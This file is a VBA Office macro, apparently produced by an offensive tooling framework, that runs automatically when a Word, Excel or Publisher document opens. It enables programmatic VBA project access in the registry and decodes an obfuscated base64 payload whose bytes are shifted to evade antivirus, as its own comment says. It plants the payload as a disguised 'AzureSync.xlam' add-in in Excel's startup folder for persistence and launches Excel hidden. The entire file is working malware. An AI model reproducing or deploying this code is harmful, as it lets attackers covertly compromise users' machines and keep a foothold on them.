' Base64 decoder

Private Function obf_ShellcodeFunc12() As String
    Dim obf_ShellcodeVar13 As String
    obf_ShellcodeVar13 = ""
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "BOrnBP0xRUZQ/VFCQEVLRk5SQv1BTEJQSwRR/U1JPlb9VEJJSf1URlFF/UBMSko+S0H9TT5PPkpCUUJP"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UAvq5wT9NEZJSf1RT1b9UUz9Q0ZLQf0D/Uk+UktARf1QTUJARkNGQkH9QlVCQFJRPj9JQgxATEpKPktB"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/T9SUf3q5wT9TT5PPkpQ/U1PTD8+P0lW/VRMSwRR/T9C/U0+UFBCQQn9QUJQTUZRQv1SUEZLRP1NT0xN"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Qk/9SUxERkD9Q0xP/VFFPlEL6ucE6ufq5zBSP/1MP0M8KT5SS0BFIExKSj5LQQUfVjM+Sf1MP0M8QExK"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Sj5LQf0eUP0wUU9GS0QG6uf9/f39LEv9Ik9PTE/9JEwxTP1MP0M8LU9MQCJPT0xP6uf9/f39IUZK/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzweTU0J/Uw/QzxCS0EuUkxRQi1MUAn9TD9DPD5PRFAJ/Uw/QzxQTT5AQiBFPk8J/Uw/Qzw+TU0tPlFF"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6uf9/f39IUZK/Uw/QzxQRSNMSUFCTwn9TD9DPE0+T1BCQSZRQkoJ/Uw/QzwjRklCJlFCSlDq5+rn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/QT9MEBPRk1RRktECyNGSUIwVlBRQkosP0dCQFHq5/39/f0hRkr9TD9DPCMwLP0eUP0sP0dCQFEX/TBC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Uf1MP0M8IzAs/Rr9IE9CPlFCLD9HQkBRBf9LQlQXDSERECMiDQ4KIw0WEAoODiAjChUWEQ0KDQ0eDSAW"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "DRIRDw8V/wbq5/39/f0hRkr9TD9DPEBKQern6uf9/f39BOrn/f39/QT9MFFCTf0OF/0wTUlGUf1ATEpK"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PktBBFD9QlVCQFJRPj9JQv1NPlFF/T5LQf1ATEpKPktB/UlGS0L9Pk9EUAvq5/39/f0E6uf9/f39TD9D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PEBKQf0a/Uw/QzxATEpKPktB6uf9/f39TD9DPD5PRFD9Gv3//+rn/f39/Uw/QzweTU39Gv0xT0ZKBUw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzxASkEG6uf9/f39TD9DPEJLQS5STFFCLUxQ/Rr9JkswUU8FDwn9TD9DPEBKQQn9/////wbq5/39/f1M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "P0M8UE0+QEIgRT5P/Rr9JkswUU8FDgn9TD9DPEBKQQn9//3/Burn6uf9/f39JkP9KUJDUQVMP0M8QEpB"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Cf0OBv0a/f/////9HktB/Uw/QzxCS0EuUkxRQi1MUP0b/Q39MUVCS+rn/f39/f39/f1MP0M8Hk1N/Rr9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "MU9GSgUqRkEFTD9DPEBKQQn9Dwn9TD9DPEJLQS5STFFCLUxQ/Qr9DwYG6uf9/f39/f39/Uw/Qzw+T0RQ"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/Rr9MU9GSgUqRkEFTD9DPEBKQQn9TD9DPEJLQS5STFFCLUxQ/Qj9DgYG6uf9/f39IklQQiZD/Uw/QzxQ"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TT5AQiBFPk/9G/0N/TFFQkvq5/39/f39/f39TD9DPB5NTf0a/TFPRkoFKkZBBUw/QzxASkEJ/Q4J/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzxQTT5AQiBFPk/9Cv0OBgbq5/39/f39/f39TD9DPD5PRFD9Gv0xT0ZKBSpGQQVMP0M8QEpBCf1MP0M8"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UE0+QEIgRT5P/Qj9DgYG6uf9/f39IktB/SZD6uf9/f396uf9/f39IUZK/Uw/QzxQRSZLUFHq5+rn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/QTq5/39/f0E/TBRQk39Dxf9IlVCQFJRQv1RRUL9Q0ZJQgzq5/39/f0E6ufq5/39/f0E/TBFQklJCx5N"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TUlGQD5RRkxLCw7q5/39/f0wQlH9TD9DPFBFJktQUf0a/SRCUSw/R0JAUQX/S0JUFw4QFA0WEw8NCiAP"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "FBYKDg4gIgoeERYiChERERISEBIRDQ0NDf8G6uf9/f39JkP9TD9DPCMwLAsjRklCIlVGUFFQBUw/Qzwe"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TU0G/TFFQkvq5/39/f39/f39BOrn/f39/f39/f0E/Q8LDgv9I0ZJQv1CVUZQUVD9BUNSSUn9TT5RRf1E"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RlNCSwbq5/39/f39/f39BOrn/f39/f39/f1MP0M8Pk1NLT5RRf0a/Uw/QzwjMCwLJEJRLT5PQktRI0xJ"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QUJPKz5KQgVMP0M8Hk1NBv0D/f85/+rn/f39/f39/f1MP0M8Hk1N/Rr9TD9DPCMwLAskQlEjRklCKz5K"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QgVMP0M8Hk1NBurn/f39/f39/f0wQlH9TD9DPFBFI0xJQUJP/Rr9TD9DPFBFJktQUQsrPkpCUE0+QEIF"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TD9DPD5NTS0+UUUG6uf9/f39/f39/SZD/QUrTFH9TD9DPFBFI0xJQUJP/SZQ/StMUUVGS0QG/TFFQkvq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f39/f39/f39/TBCUf1MP0M8I0ZJQiZRQkpQ/Rr9TD9DPFBFI0xJQUJPCyZRQkpQBQbq5/39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39/SNMT/0iPkBF/Uw/QzxNPk9QQkEmUUJK/SZL/Uw/QzwjRklCJlFCSlDq5/39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f0mQ/0mSzBRTwVMP0M8TT5PUEJBJlFCSgn9TD9DPB5NTQb9MUVCS+rn/f39/f39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f1MP0M8TT5PUEJBJlFCSgsmS1NMSEIzQk8/IlX9/0xNQkv/Cf3//f/9A/1MP0M8Pk9EUOrn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39/f39/f39/f39/f0iVUZR/TBSP+rn/f39/f39/f39/f39/f39/SJLQf0mQ+rn/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39K0JVUern/f39/f39/f0iS0H9JkPq5/39/f0iSVBC6uf9/f39/f39/QTq5/39/f39/f39BP0PCw4L"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/SNGSUL9S0xR/UJVRlBRUAn9S0JCQVD9UUz9P0L9SUxMSEJB/VJN/UZL/VBWUFFCSv1BQkM+UklR/UFG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T0JAUUxPRkJQ6uf9/f39/f39/QTq5/39/f39/f39IUZK/Uw/Qzw+T08+VixDLT5RRVD9HlD9Mz5PRj5L"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Uern/f39/f39/f1MP0M8Pk9PPlYsQy0+UUVQ/Rr9Hk9PPlYFDxMJ/Q8VCf0QEwn9EBQJ/RENCf0RFgbq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f39/f39TD9DPB5NTf0a/Uw/QzwjMCwLJEJRI0ZJQis+SkIFTD9DPB5NTQbq5+rn/f39/f39/f0j"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TE/9Ij5ARf1MP0M8I0xMJlFCSv0mS/1MP0M8Pk9PPlYsQy0+UUVQ6uf9/f39/f39/f39/f0wQlH9TD9D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PFBFI0xJQUJP/Rr9TD9DPFBFJktQUQsrPkpCUE0+QEIFTD9DPCNMTCZRQkoG6uf9/f39/f39/f39/f0m"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Q/0FK0xR/Uw/QzxQRSNMSUFCT/0mUP0rTFFFRktEBv0xRUJL6uf9/f39/f39/f39/f39/f39MEJR/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzxNPk9QQkEmUUJK/Rr9TD9DPFBFI0xJQUJPCy0+T1BCKz5KQgVMP0M8Hk1NBurn/f39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/SZD/QUrTFH9TD9DPE0+T1BCQSZRQkr9JlD9K0xRRUZLRAb9MUVCS+rn/f39/f39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f1MP0M8TT5PUEJBJlFCSgsmS1NMSEIzQk8/IlX9/0xNQkv/Cf3//f/9A/1MP0M8Pk9EUOrn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39/f39/f39/f39/f0iVUZR/TBSP+rn/f39/f39/f39/f39/f39/SJLQf0mQ+rn/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39IktB/SZD6uf9/f39/f39/StCVVHq5/39/f0iS0H9JkPq50w/QzwtT0xAIk9PTE8X6uciS0H9MFI/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6ufq5zBSP/1MP0M8JEJLQk8+UUxPIktRT1YtTEZLUQUG6uf9/f39LEv9Ik9PTE/9JEwxTP1MP0M8LU9M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QCJPT0xP6uf9/f39IUZK/Uw/QzxATEFC6uf9/f39TD9DPEBMQUL9Gv3//+rn/f39/ern6uf9/f39TD9D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PCk+UktARSBMSko+S0H9/0tMUUJNPkELQlVC/+rn6udMP0M8LU9MQCJPT0xPF+rnIktB/TBSP+rn6ucw"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Uj/9TD9DPCo+QE9MIktRT1YtTEZLUQUG6uf9/f39LEv9Ik9PTE/9L0JQUkpC/StCVVHq5+rn/f39/ern"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/Uw/QzwkQktCTz5RTE8iS1FPVi1MRktR6uf9/f396uciS0H9MFI/6ufq5zBSP/0hTEBSSkJLUTws"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TUJLBQbq5/39/f0E/R9CQExKQlD9ST5SS0BFQkH9PlD9UEJATEtBCf0+S0xRRUJP/VFPVgn9TEv9KjD9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "NExPQf0M/S1SP0lGUEVCT+rn/f39/Uw/QzwqPkBPTCJLUU9WLUxGS1Hq5yJLQf0wUj/q5+rnMFI//R5S"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UUwsTUJLBQbq5/39/f0E/R9CQExKQlD9ST5SS0BFQkH9PlD9Q0ZPUFH9TEv9KjD9NExPQf0M/S1SP0lG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UEVCT+rn/f39/Uw/QzwqPkBPTCJLUU9WLUxGS1Hq5yJLQf0wUj/q5+rnMFI//SxLLUxUQk8tTEZLUQUG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6uf9/f39TD9DPCo+QE9MIktRT1YtTEZLUernIktB/TBSP+rn6ucwUj/9NExPSD9MTEg8LE1CSwUG6uf9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39BP0fQkBMSkJQ/Uk+UktARUJB/T5Q/VBCQExLQQn9PktMUUVCT/1RT1YJ/UxL/Sow/SJVQEJJ6uf9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39TD9DPCo+QE9MIktRT1YtTEZLUernIktB/TBSP+rn6ucwUj/9HlJRTDwsTUJLBQbq5/39/f0E/R9C"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QExKQlD9ST5SS0BFQkH9PlD9Q0ZPUFH9TEv9KjD9IlVAQknq5/39/f1MP0M8Kj5AT0wiS1FPVi1MRktR"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6uciS0H9MFI/6uc="

    obf_ShellcodeFunc12 = obf_ShellcodeVar13
End Function

Private Function obf_DecodeBase64(ByVal obf_EncodedData As String) As Byte()
    On Error GoTo obf_ProcError
    Dim obf_XmlDom, obf_XmlNode, obf_Decoded, obf_Counter
    Set obf_XmlDom = CreateObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
    Set obf_XmlNode = obf_XmlDom.createElement("obf_someInternalName")
    obf_XmlNode.DataType = "bin.base64"
    obf_XmlNode.Text = obf_EncodedData
    obf_Decoded = obf_XmlNode.NodeTypedValue

    ' This for-loop adjusts each byte by adding +35 to evade AVs capable of
    ' base64-decoding in-the-fly
    For obf_Counter = LBound(obf_Decoded) To UBound(obf_Decoded)
        obf_Decoded(obf_Counter) = (obf_Decoded(obf_Counter) + 35) Mod 256
    Next
    obf_DecodeBase64 = obf_Decoded
    Exit Function
obf_ProcError:
End Function

Private Function obf_ShellcodeFunc3() As String
    Dim obf_ShellcodeVar14 As String
    obf_ShellcodeVar14 = ""

    obf_ShellcodeVar14 = obf_ShellcodeVar14 & obf_ShellcodeFunc12()
    obf_ShellcodeFunc3 = obf_ShellcodeVar14
End Function

Private Function obf_DecodeBaseText64(ByVal obf_EncodedData As String) As String
    Dim obf_temp() As Byte
    obf_temp = obf_DecodeBase64(obf_EncodedData)
    obf_DecodeBaseText64 = StrConv(obf_temp, vbUnicode)
End Function

Public Function obf_ShellcodeEntry() As String
    Dim obf_ShellcodeVar2 As String
    obf_ShellcodeVar2 = StrConv(obf_DecodeBase64(obf_ShellcodeFunc3), vbUnicode)
    obf_ShellcodeEntry = obf_ShellcodeVar2
End Function

Sub obf_DropXLAM(obf_shell As Object, ByVal obf_location As String)
    On Error GoTo obf_ProcError

    Dim obf_ExcelVer, obf_regPath1
    Dim obf_objWorkbook As Object, obf_xlmodule As Object
    Dim obf_code
    Dim obf_LaunchIt As Boolean
    Dim obf_ExcelInterop, obf_ExcelProcess, obf_ExcelProcessVba
    
    obf_LaunchIt = True
    
    With CreateObject("Excel.Application")
        obf_ExcelVer = .Version
        
        obf_regPath1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & obf_ExcelVer & "\Excel\Security\AccessVBOM"
        obf_shell.RegWrite obf_regPath1, 1, "REG_DWORD"
        
        Set obf_objWorkbook = .Workbooks.Add()
        obf_objWorkbook.Application.DisplayAlerts = False
        Set obf_xlmodule = obf_objWorkbook.VBProject.VBComponents.Add(1)
        
        obf_code = ""
        
        obf_code = obf_ShellcodeEntry
        obf_xlmodule.CodeModule.AddFromString obf_code
        obf_objWorkbook.SaveAs obf_location, 55, "VelvetSweatshop"
        
        If obf_LaunchIt Then
            Call Shell("Excel", vbHide)
        End If

        .Quit
    End With

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError

    Dim obf_location, obf_path
    Dim obf_shell As Object: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_path = obf_shell.ExpandEnvironmentStrings("%USERPROFILE%\AppData\Roaming\Microsoft\Excel\XLSTART")
    obf_location = obf_path & "\AzureSync.xlam"
    
    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropXLAM obf_shell, obf_location
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropXLAM obf_shell, obf_location
        End If
    End If

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub